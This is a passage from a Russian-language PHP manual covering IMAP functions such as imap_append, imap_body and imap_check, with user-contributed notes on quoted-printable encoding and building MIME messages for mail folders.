    $string = substr($string, 0, strlen($string)-2);
    // replace newlines with encoding text "=?UTF ..."
    $string = str_replace("\r\n", "?=".HEAD_CRLF." =?".$encoding."?Q?", $string) ;

    return '=?'.$encoding.'?Q?'.$string.'?=';
}
?>
umu 28-Jan-2006 05:58
...deed.ztinmehc-ut.zrh@umuumu@hrz.tu-chemnitz.deed...

I use the following function instead of imap_8bit
when using PHP without the IMAP module,
which is based on code found in
http://www.php.net/quoted_printable_decode,
and giving (supposedly) exactly the same results as imap_8bit,
(tested on thousands of random strings containing lots
of spaces, tabs, crlf, lfcr, lf, cr and so on,
no counterexample found SO FAR:)

AND you can force a trailing space to be encoded,
as opposed to what imap_8bit does,
which I consider is a violation of RFC2045,
(see http://bugs.php.net/bug.php?id=35290)
by commenting that one central line.

<?php
function quoted_printable_encode($sText,$bEmulate_imap_8bit=true) {
  // split text into lines
  $aLines=explode(chr(13).chr(10),$sText);

  for ($i=0;$i<count($aLines);$i++) {
    $sLine =& $aLines[$i];
    if (strlen($sLine)===0) continue; // do nothing, if empty

    $sRegExp = '/[^\x09\x20\x21-\x3C\x3E-\x7E]/e';

    // imap_8bit encodes x09 everywhere, not only at lineends,
    // for EBCDIC safeness encode !"#$@[\]^`{|}~,
    // for complete safeness encode every character :)
    if ($bEmulate_imap_8bit)
      $sRegExp = '/[^\x20\x21-\x3C\x3E-\x7E]/e';

    $sReplmt = 'sprintf( "=%02X", ord ( "$0" ) ) ;';
    $sLine = preg_replace( $sRegExp, $sReplmt, $sLine );

    // encode x09,x20 at lineends
    {
      $iLength = strlen($sLine);
      $iLastChar = ord($sLine{$iLength-1});

      //              !!!!!!!!
      // imap_8_bit does not encode x20 at the very end of a text,
      // here is, where I don't agree with imap_8_bit,
      // please correct me, if I'm wrong,
      // or comment next line for RFC2045 conformance, if you like
      if (!($bEmulate_imap_8bit && ($i==count($aLines)-1)))

      if (($iLastChar==0x09)||($iLastChar==0x20)) {
        $sLine{$iLength-1}='=';
        $sLine .= ($iLastChar==0x09)?'09':'20';
      }
    }    // imap_8bit encodes x20 before chr(13), too
    // although IMHO not requested by RFC2045, why not do it safer :)
    // and why not encode any x20 around chr(10) or chr(13)
    if ($bEmulate_imap_8bit) {
      $sLine=str_replace(' =0D','=20=0D',$sLine);
      //$sLine=str_replace(' =0A','=20=0A',$sLine);
      //$sLine=str_replace('=0D ','=0D=20',$sLine);
      //$sLine=str_replace('=0A ','=0A=20',$sLine);
    }

    // finally split into softlines no longer than 76 chars,
    // for even more safeness one could encode x09,x20
    // at the very first character of the line
    // and after soft linebreaks, as well,
    // but this wouldn't be caught by such an easy RegExp
    preg_match_all( '/.{1,73}([^=]{0,2})?/', $sLine, $aMatch );
    $sLine = implode( '=' . chr(13).chr(10), $aMatch[0] ); // add soft crlf's
  }

  // join lines into text
  return implode(chr(13).chr(10),$aLines);
}
?>
hans at lintoo dot dk 22-Dec-2005 06:05
The code below this note gives a lot of trouple with SpamAssasin, to fix it you will need to encode your subject with something like this:
<?php
/**
 * Function to encode a header if necessary
 * according to RFC2047
 */
private function encodeHeader($input, $charset = 'ISO-8859-1')
{
    preg_match_all('/(\s?\w*[\x80-\xFF]+\w*\s?)/', $input, $matches);
    foreach ($matches[1] as $value) {
        $replacement = preg_replace('/([\x20\x80-\xFF])/e', '"=" . strtoupper(dechex(ord("\1")))', $value);
        $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
    }

    return wordwrap($input,75,"\n\t",true);
}
?>
hans at lintoo dot dk 04-Oct-2005 10:35
I modified nick at plumdigitalmedia dot com's note so that it may support ISO-8859-1 encoded headers:
<?php
    public function encodeSubject($string,$prefix="=?ISO-8859-1?Q?",$postfix="?=")    {
        $crlf    = "\n\t";
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]    = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]    = '/([\011\040])' . $crlf . '/e' ;
        $r[]    = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string);
        return $prefix.trim(wordwrap($string, 70 - strlen($prefix) - strlen($postfix), ' ' . $postfix . $crlf . $prefix, true)).$postfix;
    }
?>
Regards, Hans @ http://lintoo.dk/
marco dot manngatter at ecg-leipzig dot de 15-Sep-2005 03:43
you can use the following to make a larger subject.
use the imap_qprint() function, to convert your subject.

example:
<?php

$subject .= "=?iso-8859-1?Q?" . imap_qprint($subject) . "?=";

?>
nick at plumdigitalmedia dot com 10-May-2005 08:15
This function appears to wrap lines in the middle of words, not just at whitespace, which upsets some versions of Outlook Express when used to format email body text. We've had more luck with this function:

<?

    function quoted_printable($string)
    {
        $crlf    = "\n" ;
        $string  = preg_replace('!(\r\n|\r|\n)!', $crlf, $string) . $crlf ;
        $f[]     = '/([\000-\010\013\014\016-\037\075\177-\377])/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1'))" ;
        $f[]     = '/([\011\040])' . $crlf . '/e' ;
        $r[]     = "'=' . sprintf('%02X', ord('\\1')) . '" . $crlf . "'" ;
        $string  = preg_replace($f, $r, $string) ;
        return trim(wordwrap($string, 70, ' =' . $crlf)) ;
    }

?>
k dot kozlowski at enter dot pl 14-Mar-2005 06:50
I had problems with encoding large subjects with polish characters. The problem was that imap_8bit() splits subject (on 75-th char) but when I add "=?ISO-8859-2?Q?" the header is too long.

This is a solution :
<?php
$subject = str_replace(" ", "_", trim($subject)) ;
// We need to delete "=\r\n" produced by imap_8bit() and replace '?'
$subject = str_replace("?", "=3F", str_replace("=\r\n", "", imap_8bit($subject))) ;
// Now we split by \r\n but with encoding text "=?ISO ..."
$subject = str_replace("\r\n", "?=\r\n =?ISO-8859-2?Q?", chunk_split($subject, 55)) ;
// We also have to remove last unneeded encoding text :
$subject = "=?ISO-8859-2?Q?" . substr($subject, 0, strlen($subject)-20) . "?=" ;
?>
rayFX 24-Jun-2004 09:14
imap_8bit seems to have a bug as it doesn't encode "?".
Had a lot of trouble to encode a mail-subject with
german umlaute with an ending "?"...

Try this:

$subject = "=?iso-8859-1?Q?" . str_replace("?","=3F",imap_8bit($tsubject_to_encode)) . "?=";
MagicalTux at FF.ST 15-Dec-2003 06:50
Reading Bully's note :
you can use the following to make a larger subject:
<?
$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
?>
It's wrong. The header MAY NOT go over 75 chars per line.

The right solution :
<?
$encoded = rtrim( str_replace( "\n","\n\t", imap_8bit ($string_to_encode)))."\r\n";
?>

It will add \t at the start of the encoded new lines.
Mailers to see the lines after Subject: as extensions of this header.
php dot net at werner-ott dot de 09-Dec-2002 02:45
A comment on the "split-after-75-characters" phenomenon:

By splitting lines up after 75 characters, the function's behaviour is complying to RFC2047 (http://www.ietf.org/rfc/rfc2047.txt) (which specifies a protocol for the representation of non-ASCII text in message headers), section "2. Syntax of encoded-words".

A so called 'encoded word' has the following format:

   encoded-word = "=?" charset "?" encoding "?" encoded-text "?="

An 'encoded-word' may not be more than 75 characters long, including 'charset', 'encoding', 'encoded-text', and delimiters.  If it is desirable to encode more text than will fit in an 'encoded-word' of 75 characters, multiple 'encoded-word's (separated by CRLF SPACE) may be used.

hth
WOT
bully at newearth dot de 24-Apr-2002 07:48
you can use the following to make a larger subject:

$encoded = str_replace("=\r\n","",imap_8bit($string_to_encode));
zuffa at isdd dot sk 23-Sep-2000 08:57
Warning !
This function splits input text into
several lines aligned to 75 characters.
This is critical when you need input
text to be only one striaght line as
e.g. in e-mail header values.


Возвращает все произошедшие предупредительные сообщения IMAP

  • « imap_8bit
  • imap_append »
  • PHP Manual
  • Функции IMAP
  • Возвращает все произошедшие предупредительные сообщения IMAP

imap_alerts

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_alerts — Возвращает все произошедшие предупредительные сообщения IMAP

Описание

imap_alerts(): array|false

Возвращает все созданные предупредительные сообщения IMAP с момента последнего вызова imap_alerts(), или при загрузке страницы.

Когда imap_alerts() вызывается, стек предупреждений очищается. Спецификация IMAP требует чтобы эти сообщения были переданы пользователю.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив всех созданных предупредительных сообщений IMAP или false в случае, если таковых нет.

Смотрите также

  • imap_errors() - Получить все произошедшие ошибки IMAP

User Contributed Notes

There are no user contributed notes for this page.


Добавляет строковое сообщение в указанный почтовый ящик

  • « imap_alerts
  • imap_base64 »
  • PHP Manual
  • Функции IMAP
  • Добавляет строковое сообщение в указанный почтовый ящик

imap_append

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_append — Добавляет строковое сообщение в указанный почтовый ящик

Описание

imap_append(
IMAP\Connection $imap,
string $folder,
string $message,
?string $options = null,
?string $internal_date = null
): bool

Добавляет строку message в указанный folder.

Список параметров

imap

Экземпляр IMAP\Connection.

folder

Имя почтового ящика. Смотрите imap_open() для подробной информации.

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

message

Добавляемое сообщение в виде строки

При обращении к серверу Cyrus IMAP следует использовать "\r\n" как завершающий символ строки вместо "\n", иначе операция будет неудачна.

options

Если указан, то параметр options также будет записан в folder

internal_date

Если этот параметр указан, он установит INTERNALDATE в добавляемом сообщении. Параметр должен содержать дату, представленную строкой, которая соответствует спецификации rfc2060 для значения date_time.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.
8.0.0 | options и internal_date теперь допускают значение null.

Примеры

Пример #1 Пример использования imap_append()

<?php
$imap = imap_open("{imap.example.org}INBOX.Drafts", "username", "password");

$check = imap_check($imap);
echo "Кол-во сообщений до добавления: ". $check->Nmsgs . "\n";

imap_append($imap, "{imap.example.org}INBOX.Drafts"
, "From: me@example.com\r\n"
. "To: you@example.com\r\n"
. "Subject: test\r\n"
. "\r\n"
. "это проверочное сообщение, пожалуйста, игнорируйте его\r\n"
);

$check = imap_check($imap);
echo "Кол-во сообщений после добавления : ". $check->Nmsgs . "\n";

imap_close($imap);
?>

User Contributed Notes

scott at threeam dot com dot au 13-Dec-2018 10:02
From my testing today, if using PHPMailer to send to an Exchange based IMAP server with an attachment or embedded image greater than 7kb, you will need to change the line returns from unix format to windows format. I simply did a string replace on '\n' and replaced with '\r\n' to get this done.

$content =  str_replace("\n", "\r\n", $mail->getSentMIMEMessage());
$result = imap_append($imapStream, $path, $content);
Mime email format example 14-Aug-2017 09:22
Mime message example (smtp telnet DATA example):

From: from@ccc.cc
To: to@@ccc.cc
Subject: Example Email
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="MixedBoundaryString"

--MixedBoundaryString
Content-Type: multipart/related; boundary="RelatedBoundaryString"

--RelatedBoundaryString
Content-Type: multipart/alternative; boundary="AlternativeBoundaryString"

--AlternativeBoundaryString
Content-Type: text/plain;charset="utf-8"
Content-Transfer-Encoding: quoted-printable

This is the plain text part of the email.

--AlternativeBoundaryString
Content-Type: text/html;charset="utf-8"
Content-Transfer-Encoding: quoted-printable

<html>
  <body>=0D
    <img src=3D=22cid:masthead.png=40ccc.cc=22 width 800 height=3D80=
 =5C>=0D
    <p>This is the html part of the email.</p>=0D
    <img src=3D=22cid:logo.png=40ccc.cc=22 width 200 height=3D60 =5C=
>=0D
  </body>=0D
</html>=0D

--AlternativeBoundaryString--

--RelatedBoundaryString
Content-Type: image/jpgeg;name="logo.png"
Content-Transfer-Encoding: base64
Content-Disposition: inline;filename="logo.png"
Content-ID: <logo.png@ccc.cc>

amtsb2hiaXVvbHJueXZzNXQ2XHVmdGd5d2VoYmFmaGpremxidTh2b2hydHVqd
dWkgb2l1b3NydGhpdXRvZ2hqdWlyb2h5dWd0aXJlaHN1aWhndXNpaHhidnVqZ
a25qbW9nNXRwbF0nemVycHpvemlnc3k5aDZqcm9wdHo7amlodDhpOTA4N3U5
LGZ2cDBbZWRzcm85eWo1Zmtsc2xrZ3g=

--RelatedBoundaryString
Content-Type: image/jpgeg;name="masthead.png"
Content-Transfer-Encoding: base64
Content-Disposition: inline;filename="masthead.png"
Content-ID: <masthead.png@ccc.cc>

aXR4ZGh5Yjd1OHk3MzQ4eXFndzhpYW9wO2tibHB6c2tqOTgwNXE0aW9qYWJ6aX
dGlmOTA0cW05dGkwbWk0OXQwYVttaXZvcnBhXGtsbGo7emt2c2pkZnI7Z2lwb2F
eXN6dWdoeXhiNzhuZzdnaHQ3eW9zemlqb2FqZWt0cmZ1eXZnamhka3JmdDg3aXV2dWd5aGVidXdz
dhyuhehe76YTGSFGA=

--RelatedBoundaryString--

--MixedBoundaryString
Content-Type: application/pdf;name="Invoice_1.pdf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;filename="Invoice_1.pdf"

aGZqZGtsZ3poZHVpeWZoemd2dXNoamRibngganZodWpyYWRuIHVqO0hmSjtyRVVPIEZSO05SVURF
SEx1aWhudWpoZ3h1XGh1c2loZWRma25kamlsXHpodXZpZmhkcnVsaGpnZmtsaG
a2psajY1ZWxqanNveHV5ZXJ3NTQzYXRnZnJhZXdhcmV0eXRia2xhanNueXVpNjRv

--MixedBoundaryString
Content-Type: application/pdf;name="SpecialOffer.pdf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;filename="SpecialOffer.pdf"

aXBvY21odWl0dnI1dWk4OXdzNHU5NTgwcDN3YTt1OTQwc3U4NTk1dTg0dTV5OG
cS0zNHU4NTk0eWI4OTcwdjg5MHE4cHV0O3BvYTt6dWI7dWlvenZ1em9pdW51dD
OTViOHk5cDV3dTh5bnB3dWZ2OHQ5dTh2cHVpO2p2Ymd1eTg5MGg3ajY4bjZ2ODl1ZGlvcjQ1amts
dfnhgjdfihn=

--MixedBoundaryString--

.

// Or you can download from
https://www.phpclasses.org/browse/file/14672.html
nanomoow at gmail dot com 20-Aug-2016 06:38
// this works for me, better version :].
<?php
$fn = 'filename.zip';
$IMAPhost = 'imap.hostname.com';
// IMAP port 143, 995 or POP3 port 110, 995
$IMAPport = '143';
$IMAPssl = 'tls';
$IMAP = '{'.$IMAPhost.':'.$IMAPport.'/imap/'.$IMAPssl.'/novalidate-cert}';
$IMAPuser = 'hello@hostname.com';
$msg ='Message text <h1 style="color: #093"> Hello </h1>';
// imap email and password
$ibox = imap_open($IMAP, $_SESSION['email'], $_SESSION['pass']);
$dmy=date("Y-m-d H:i:s");
// pack file contents
$attachment = chunk_split(base64_encode(file_get_contents('tmp/'.$fn)));

        $boundary1 = "###".md5(microtime())."###";
        $boundary2 = "###".md5(microtime().rand(99,999))."###";
        imap_append($ibox, $IMAP."Send"
                      , "From: Hello <".$IMAPuser.">\r\n"
            . "To: ".$email."\r\n"
            . "Date: $dmy\r\n"
            . "Subject: ".quoted_printable_encode($sub)."\r\n"
                . "MIME-Version: 1.0\r\n"
                . "Content-Type: multipart/mixed; boundary=\"$boundary1\"\r\n"
                . "\r\n\r\n"
                . "--$boundary1\r\n"
                . "Content-Type: multipart/alternative; boundary=\"$boundary2\"\r\n"
                . "\r\n\r\n"
                // ADD Plain text data
                . "--$boundary2\r\n"
                . "Content-Type: text/plain; charset=\"utf-8\"\r\n"
                . "Content-Transfer-Encoding: quoted-printable\r\n"
                . "\r\n\r\n"
                . $msg."\r\n"
                . "\r\n\r\n"
                // ADD Html content
                . "--$boundary2\r\n"
                . "Content-Type: text/html; charset=\"utf-8\"\r\n"
                . "Content-Transfer-Encoding: quoted-printable \r\n"
                . "\r\n\r\n"
                . html_entity_decode($msg)."\r\n"
                . "\r\n\r\n"
                . "--$boundary2\r\n"
                . "\r\n\r\n"
                // ADD attachment(s)
                . "--$boundary1\r\n"
                . "Content-Type: image/gif; name=\"$fn\"\r\n"
                . "Content-Transfer-Encoding: base64\r\n"
                . "Content-Disposition: attachment; filename=\"$fn\"\r\n"
                . "\r\n\r\n"
                . $attachment
                . "\r\n\r\n"
                . "--$boundary1--\r\n\r\n"
        );

// nigdy wiecej takich dziwactw :) ble..
?>
nanomoow at gmail dot com 19-Aug-2016 08:15
$fn = 'filename.zip';
$IMAPhost = 'imap.hostname.com';
// IMAP port 143, 995 or POP3 port 110, 995
$IMAPport = '143';
$IMAPssl = 'tls';
$IMAP = '{'.$IMAPhost.':'.$IMAPport.'/imap/'.$IMAPssl.'/novalidate-cert}';
$IMAPuser = 'hello@hostname.com';
$msg ='Message text <h1 style="color: #093"> Hello </h1>';
// imap email and password
$ibox = imap_open($IMAP, $_SESSION['email'], $_SESSION['pass']);
$dmy=date("Y-m-d H:i:s");
// pack file contents
$attachment = chunk_split(base64_encode(file_get_contents('tmp/'.$fn)));
$boundary = "------=".md5(uniqid(rand()));
imap_append($ibox, $IMAP."Send"
            , "From: Hello <".$IMAPuser.">\r\n"
            . "To: ".$email."\r\n"
            . "Date: $dmy\r\n"
            . "Subject: ".$sub."\r\n"
                     . "MIME-Version: 1.0\r\n"
                . "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"
                . "\r\n\r\n"
                . "--$boundary\r\n"
                . "Content-Type: text/html;\r\n\tcharset=\"utf-8\"\r\n"
                . "Content-Transfer-Encoding: 8bit \r\n"
                . "\r\n\r\n"
            . html_entity_decode($msg)."\r\n"
                . "\r\n\r\n"
                . "--$boundary\r\n"
                . "Content-Transfer-Encoding: base64\r\n"
                . "Content-Disposition: attachment; filename=\"$fn\"\r\n"
                . "\r\n" . $attachment . "\r\n"
                . "\r\n\r\n\r\n"
                . "--$boundary--\r\n\r\n"
);
Krzysiek 15-May-2015 12:18
You can use PHPMailer ( https://github.com/PHPMailer/PHPMailer/ ) with imap.

<?php
// after creating content of mail you have to run preSend() - part of send() method
$mail->send();
// and you can get whole raw message with getSentMIMEMessage() method
imap_append($imap, $mailserver.'INBOX.Sent',$mail->getSentMIMEMessage(), "\\Seen");
rixsta at hotmail dot com 21-Feb-2013 08:59
Hi,

As we have been struggling with this for some time I wanted to share how we got imap_append working properly with all MIME parts including attachments.  If you are sending email and also wish to append the sent message to the Sent Items folder, I cannot think of an easier way to do this, as follows:

1) Use SwiftMailer to send the message via PHP.
$message = Swift_Message::newInstance("Subject goes here");
(then add from, to, body, attachments etc)
$result = $mailer->send($message);

2) When you construct the message in step 1) above save it to a variable as follows:

$msg = $message->toString(); (this creates the full MIME message required for imap_append()!!  After this you can call imap_append like this:

imap_append($imap_conn,$mail_box,$msg."\r\n","\\Seen");

I hope this helps the readers, and prevents saves people from doing what we started doing - hand crafting the MIME messages :-0
serpent at paradise dot net dot nz 06-Feb-2013 08:10
We couldn't get this function to work properly with MS-Exchange/IMAP, not because there's a problem with a the function as such, but because MS-Exchange changed the content-type in the header from multipart/[anything] to text/plain in every instance.  We set ImapMessagesRetrievalMimeFormat to HtmlAndTextAlternative
on the Exchange server, and that didn't help either.  I even tried wrapping the multipart message in a message/rfc822 wrapper and it reached inside the outer message and tweeked the inner message from multipart/alternative to text/plain.

Messages emailed to the mbox were unaffected, I suggest you try that route instead, and move the relevant messages to where you want them.
bill at dyndns dot org 23-Nov-2011 11:45
Here is how I used this function with an attachment. I used examples from everyone else but made it easier and cleaner to change.

<?php
$authhost="{000.000.000.000:993/validate-cert/ssl}Drafts";

$user="sadasd";
$pass="sadasd";

if ($mbox=imap_open( $authhost, $user, $pass))
{
    $dmy=date("d-M-Y H:i:s");

    $filename="filename.pdf";
    $attachment = chunk_split(base64_encode($filestring));

    $boundary = "------=".md5(uniqid(rand()));

    $msg = ("From: Somebody\r\n"
        . "To: test@example.co.uk\r\n"
        . "Date: $dmy\r\n"
        . "Subject: This is the subject\r\n"
        . "MIME-Version: 1.0\r\n"
        . "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
        . "Content-Transfer-Encoding: 8bit \r\n"
        . "\r\n\r\n"
        . "Hello this is a test\r\n"
        . "\r\n\r\n"
        . "--$boundary\r\n"
        . "Content-Transfer-Encoding: base64\r\n"
        . "Content-Disposition: attachment; filename=\"$filename\"\r\n"
        . "\r\n" . $attachment . "\r\n"
        . "\r\n\r\n\r\n"
        . "--$boundary--\r\n\r\n");

    imap_append($mbox,$authhost,$msg, "\\Draft");

    imap_close($mbox);
}
else
{
    echo "<h1>FAIL!</h1>\n";
}

?>

Hope this helps someone.
Tigggger 08-Aug-2011 09:30
I encountered 3 problems when attempting to get my server to copy messages to the sent folder.

1. Wouldn't login until I added /novalidate-cert
2. No code example of getting the date sent
3. Including an attachment

Hope this code helps others

<?php
$dmy=date("d-M-Y H:i:s");
$dmy.= " +0100"; // Had to do this bit manually as server and me are in different timezones
$stream=@imap_open("{mail.example.com/novalidate-cert}INBOX.Sent", "username", "password");
$boundary = "------=".md5(uniqid(rand()));
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n";
$header .= "\r\n";
$file="../path_to/filename.pdf";
$filename="filename.pdf";
$ouv=fopen ("$file", "rb");$lir=fread ($ouv, filesize ("$file"));fclose
($ouv);
$attachment = chunk_split(base64_encode($lir));
$msg2 .= "--$boundary\r\n";
$msg2 .= "Content-Transfer-Encoding: base64\r\n";
$msg2 .= "Content-Disposition: attachment; filename=\"$filename\"\r\n";
$msg2 .= "\r\n";
$msg2 .= $attachment . "\r\n";
$msg2 .= "\r\n\r\n";
$msg3 .= "--$boundary--\r\n";
imap_append($stream,"{mail.example.com/novalidate-cert}INBOX.Sent","From: Somebody\r\n"."To: test@example.co.uk\r\n"."Date: $dmy\r\n"."Subject: This is the subject\r\n"."$header\r\n"."$msg2\r\n"."$msg3\r\n");
imap_close ($stream);
?>
kaminski at istori dot com 15-Aug-2010 08:52
The date format string to use when creating $internal_date is 'd-M-Y H:i:s O'.
chris at sma-sportsmgmt dot com 07-Feb-2008 11:06
I spend most of today refining the example to make it work properly when saving to the Inbox.Sent folder.

The append command now looks like:

    $return = imap_append($stream,$mailbox_addr
                       , "From: $fromReply\r\n"
                       . "To: $to\r\n"
                       . "Subject: $subject\r\n"
                       . "Date: $now  \r\n"
              . "X-Mailer: Cmail_v2.0 \r\n"
                       . "X-Originating-IP: $ip_addr \r\n"
                       . "MIME-Version: 1 \r\n"
                       . "Content-Type: text/html;\r\n\tcharset=\"ISO-8859-1\"\r\n"
                       . "Content-Transfer-Encoding: 8bit \r\n"
                       . "\r\n\r\n"
                       . "$wk_msg\r\n"
                       );

This inserts the current date into the email and lets it support html content. The one thing that I haven't got working yet is including attachments. I presumably have to make the boundaries and attachment content part of the message body.

Chris
jille at DIESPAMMERShexon dot cx 03-May-2007 07:36
The last argument, $options, are flags like for use with imap_setflag_full.
It took a while before I found out
svicentemolina at gmail dot com 17-Jan-2007 07:57
I have used this function to copy all the emails of one account from one server to another. The problem was that this function don't copy the original receiving date for each message.
To add a fifth field to provide the date, I have made some changes at some php source files following the steps described in http://www.zend.com/lists/php-dev/200303/msg00843.html and it has worked fine.
The correct date format is the returned by the function mail_date in c-client/mail.c source file, for instance: "17-Jan-2007 10:00:01 +0100"
bithive 23-Jun-2003 03:26
The parameter description is misleading.  You can pass a string of flags such as '\Seen' [see imap_setflag_full()] as the last argument.  In the other imap functions, 'options' seems to usually refer to a bitmask, not message flags.
michel dot jansens at ulb dot ac dot be 29-Apr-2003 07:29
I use imap_append() to decode message/rfc822 attachments type(embedded emails):

$attachment = imap_fetchbody($mbox,$mailuid,$atpos,FT_UID);
$attachment = imap_base64($attachment);
$res =  imap_append($mbox,mboxspec("INBOX"),$attachment);
//the embedded email is now a normal mail in my INBOX
bluebiru78 at hotmail dot com 12-Jun-2002 12:24
i used imap_append to copy any composed message into INBOX.Sent folder..

$app = imap_append($stream,"{" . $connectstring . "}INBOX.Sent","$header\r\n" ."$mbody\r\n");

if (!$app) {
 error("Email copying to Sent folder FAILED!");
}
owain at vaughan dot com 01-Aug-2001 06:49
With SIMS IMAP server you also need to use \r\n as a line terminator, otherwise you will be able to add all the header lines correctly, but the body of the message will not be saved.<br>
You can use \n by itself for each header line, but when creating the blank line between the headers and the body you must use \r\n\r\n
jesper at angelo dot dk 14-Sep-1999 09:13
Please observe that imap_append() do not support NNTP posting. Use fsockopen() instead, and do the work yourself.


Декодировать текст закодированный BASE64

  • « imap_append
  • imap_binary »
  • PHP Manual
  • Функции IMAP
  • Декодировать текст закодированный BASE64

imap_base64

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_base64 — Декодировать текст закодированный BASE64

Описание

imap_base64(string $string): string|false

Декодирует текст string, закодированный BASE64.

Список параметров

string

Закодированный текст

Возвращаемые значения

Возвращает строку с декодированным сообщением или false в случае возникновения ошибки.

Смотрите также

  • imap_binary() - Конвертирует 8-битную строку в строку base64
  • base64_encode() - Кодирует данные в формат MIME base64
  • base64_decode() - Декодирует данные, закодированные MIME base64
  • » RFC2045, секция 6.8

User Contributed Notes

chris at deliens dot be 04-Mar-2011 07:45
Looks like this function has exactly the same behavior as base64_decode($test, true) -> it returns FALSE if $text contains characters outside the Base64 alphabet, although this isn't documented here.


Конвертирует 8-битную строку в строку base64

  • « imap_base64
  • imap_body »
  • PHP Manual
  • Функции IMAP
  • Конвертирует 8-битную строку в строку base64

imap_binary

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_binary — Конвертирует 8-битную строку в строку base64

Описание

imap_binary(string $string): string|false

Конвертирует 8-битную строку в строку base64 в соответствии с » RFC2045, Секция 6.8.

Список параметров

string

8-битная строка

Возвращаемые значения

Возвращает строку, кодированную в base64 или false в случае возникновения ошибки.

Смотрите также

  • imap_base64() - Декодировать текст закодированный BASE64

User Contributed Notes

phunction.sf.net 10-Jun-2010 06:26
Calling this function is the same as doing:

<?php

chunk_split(base64_encode($string), 60);

?>


Прочитать тело сообщения

  • « imap_binary
  • imap_bodystruct »
  • PHP Manual
  • Функции IMAP
  • Прочитать тело сообщения

imap_body

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_body — Прочитать тело сообщения

Описание

imap_body(IMAP\Connection $imap, int $message_num, int $flags = 0): string|false

imap_body() возвращает тело сообщения с номером message_num в текущем почтовом ящике.

imap_body() вернёт точную копию тела сообщения. Для извлечения одной части составного MIME-сообщения используйте imap_fetchstructure() для анализа структуры и imap_fetchbody() для извлечения копии одной из частей тела.

Список параметров

imap

Экземпляр IMAP\Connection.

message_num

Номер сообщения

flags

Опциональный параметр flags, являющийся битовой маской одной или нескольких констант:

  • FT_UID - message_num является UID
  • FT_PEEK - Не устанавливать флаг Просмотрено (\Seen), если он уже не установлен.
  • FT_INTERNAL - возвращаемая строка будет во внутреннем формате, а не канонизирована к CRLF.

Возвращаемые значения

Возвращает строку с телом указанного сообщения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

User Contributed Notes

theloverkills at gmail dot com 26-Jan-2017 10:45
Please note that the UID is NOT unique.
UID of the email may be not unique on the server (2 messages in different folders may have same UID).

Basically, don't use the UID as a unique identifier.
deenfirdoush at gmail dot com 14-Dec-2009 07:08
Simple example on how to read body message of the recent mail.

<?php
$imap = imap_open("{pop.example.com:995/pop3/ssl/novalidate-cert}", "username", "password");

if( $imap ) {

     //Check no.of.msgs
     $num = imap_num_msg($imap);

     //if there is a message in your inbox
     if( $num >0 ) {
          //read that mail recently arrived
          echo imap_qprint(imap_body($imap, $num));
     }

     //close the stream
     imap_close($imap);
}
?>


Прочитать структуру указанной секции тела заданного сообщения

  • « imap_body
  • imap_check »
  • PHP Manual
  • Функции IMAP
  • Прочитать структуру указанной секции тела заданного сообщения

imap_bodystruct

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_bodystruct — Прочитать структуру указанной секции тела заданного сообщения

Описание

imap_bodystruct(IMAP\Connection $imap, int $message_num, string $section): stdClass|false

Читает структуру указанной секции тела заданного сообщения.

Список параметров

imap

Экземпляр IMAP\Connection.

message_num

Номер сообщения

section

Секция тела для чтения

Возвращаемые значения

Возвращает информацию в виде объекта или false в случае возникновения ошибки. Описание структуры и свойств объекта читайте в разделе, посвящённом функции imap_fetchstructure().

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_fetchstructure() - Прочитать структуру указанного сообщения

User Contributed Notes

There are no user contributed notes for this page.


Проверить текущий почтовый ящик

  • « imap_bodystruct
  • imap_clearflag_full »
  • PHP Manual
  • Функции IMAP
  • Проверить текущий почтовый ящик

imap_check

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_check — Проверить текущий почтовый ящик

Описание

imap_check(IMAP\Connection $imap): stdClass|false

Проверяет информацию текущего почтового ящика.

Список параметров

imap

Экземпляр IMAP\Connection.

Возвращаемые значения

Возвращает объект со следующими свойствами:

  • Date - текущее системное время в формате соответствующем » RFC2822
  • Driver - протокол, используемый для доступа к почтовому ящику: POP3, IMAP, NNTP
  • Mailbox - имя почтового ящика
  • Nmsgs - количество сообщений
  • Recent - количество новых сообщений

В случае возникновения ошибки возвращает false.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_check()

<?php

$imap = imap_check($imap_stream);
var_dump($imap);

?>

Результатом выполнения данного примера будет что-то подобное:

object(stdClass)(5) {
  ["Date"]=>
  string(37) "Wed, 10 Dec 2003 17:56:54 +0100 (CET)"
  ["Driver"]=>
  string(4) "imap"
  ["Mailbox"]=>
  string(54)
